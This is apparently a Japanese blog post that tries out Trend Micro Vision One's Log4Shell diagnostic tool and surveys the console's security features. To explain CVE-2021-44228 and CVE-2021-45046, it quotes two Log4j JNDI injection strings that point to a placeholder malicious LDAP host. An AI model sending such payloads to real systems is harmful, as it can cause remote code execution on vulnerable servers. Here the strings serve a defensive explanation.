Trend Micro Vision Oneを試してみる
目次
11月末から続いているLog4jの脆弱性について各セキュリティスコアが高レベルで指定されており、これを気にZTAの文脈でセキュリティ製品を見ていこうと思います。今回はちょうど無償提供されているTrend Micro Vision Oneを軽く触ってみようと思います。
PROBLEM
- 11月末から続いているLog4jの脆弱性について各セキュリティスコアが高レベルで指定されている
- JNDIクエリ「${jndi:ldap://malicious-server.host/aaa}」により不正なJavaクラスが実行されるケースがある（CVE-2021-44228）
- JNDIクエリ「${jndi:ldap://127.0.0.1#malicious-server.host/aaa}」により不正なJavaクラスが実行されるケースがある（CVE-2021-45046）
SOLUTION
From: Trend Micro Subject: Log4Shell診断ツール ご提供開始
Apache Log4j2ログ出力ライブラリの複数のバージョンに影響を与える深刻な脆弱性情報が公開されています。当診断ツールは、Log4Shellの影響を受ける可能性のあるエンドポイントとWebアプリケーションを特定することができます。また、攻撃対象領域の詳細を即座に可視化し、リスクを軽減するための措置をご案内いたします。
と言うわけで、Trend Micro Vision Oneの一部機能が無償で提供されていたので確認します。Vision OneはSIEM、SOAR、EDR関連のツール。エンドポイント、サーバ、クラウド、メールおよびネットワーク全体を保護する各セキュリティ製品がセンサーとなり、各々のレイヤ―で検知した脅威や侵入の痕跡を、Threat Intelligenceを活用してサイバー攻撃の全体像を可視化します。
Log4jShell診断ツールを試してみる
- Trend Micro Vision Oneにログイン
- [Log4Shell診断ツール]画面にてWindows/Mac/Linuxいずれかの診断ツールをダウンロード
- 1分ほどで端末にインストールされ、詳細が確認できる
- 自宅の端末で確認した結果はこちら
ざっと試したところ数分程度でLog4Shellの診断を行う事ができました。Intune等EMMでの展開もそれほど難しくないように思います。
他の機能を確認
先ほど試したLog4Shell診断ツールはTrend Micro Vision OneのAssessmentカテゴリのいち機能になります。Vision OneはSecurity Postureによる方針策定、Assessment・Thread Intelligenceによる脅威検出、XDR（EDR）による脅威応答、Zero Trust Secure Access・Mobile Securityによる脅威防御、Inventory Managementによる脅威特定から構成されています。
Security Posture
各種リスク、脅威を表示することで、セキュリティに関する心構えとともに方針策定のヒントを提示します。
| function | description |
|---|---|
| Security Dashboard | Company Risk Index、エンドポイントレポート、MITRE ATT&CK MATRIXマップ |
| Zero Trust Risk Insights | アカウント侵害、脆弱性の検出、異常検出、クラウドアプリのアクティビティ、XDR検出、脅威検出 |
Assessment
各種端末に対して脅威検出等のセキュリティ評価を行います。
| function | description |
|---|---|
| Targeted Attack Detection | 標的型攻撃の検出 |
| Security Assessment | セキュリティ評価、Log4jの脆弱性検出 |
Threat Intelligence
内部および外部ソースを元に分析を行い環境内の潜在的な脅威を特定します。
| function | description |
|---|---|
| Intelligence Reports | 内部および外部のソースからの最新のインテリジェンスレポートを統合して、環境内の潜在的な脅威を特定 |
| Suspicous Object Management | 特定の疑わしいオブジェクトを検出した後に実行する接続製品のアクションを指定できます |
| Sandbox Analysis | - |
XDR（EDR）
検出モデルと応答サービスを管理します。
| function | description |
|---|---|
| Detection Model Management | 検出モデルの管理 |
| Workbench | - |
| Observed Attack Techniques | 観察された攻撃手法 |
| Managed XDR | マネージドXDRは検出および応答の代行サービス |
Zero Trust Secure Access
各種アクセス制御を管理します。
| function | description |
|---|---|
| Secure Access Overview | - |
| Secure Access Rules | IAM、ログイン制御 |
| Access Control History | - |
| Private Access Configuration | プライベートアクセス制御 |
| Internet Access Configuration | インターネットアクセス制御 |
Response Management
応答サービスを管理するものだと思いますが、XDR（EDR）との区別がよく分かりません。
| function | description |
|---|---|
| Response Management |
Mobile Security
モバイル端末に特化したセキュリティ機能、検出ログや管理ポリシーを扱います。EMM連携も可能です。
| function | description |
|---|---|
| Mobile Detection Logs | モバイル端末検出ログ |
| Mobile Policy | モバイル端末管理ポリシー |
| Risky Mobile Apps | MDMとの統合機能 |
Inventory Management
各種リソースの一覧表になります。
| function | description |
|---|---|
| Endpoint Inventory | エンドポイント端末一覧表 |
| Email Account Inventory | Eメールアカウント一覧表 |
| Network Inventory | ネットワーク一覧表 |
| Service Gateway Inventory | サービスゲートウェイ一覧表 |
| Mobile Inventory | モバイル端末一覧表 |
WRAPUP
Trend Micro Vision Oneについて、各機能の使い勝手は分かりませんが、EDRを軸にセキュリティ機能を固めているようです。EDRについては完全自動化というのは無理でしょうから、どのくらいサポートがあるかで製品の価値がかわってくるものと思います。Log4Shell診断ツールの使い勝手は分かりましたが、コンソール画面上の他の機能を見る限りどの程度便利かはよく分かりませんでした。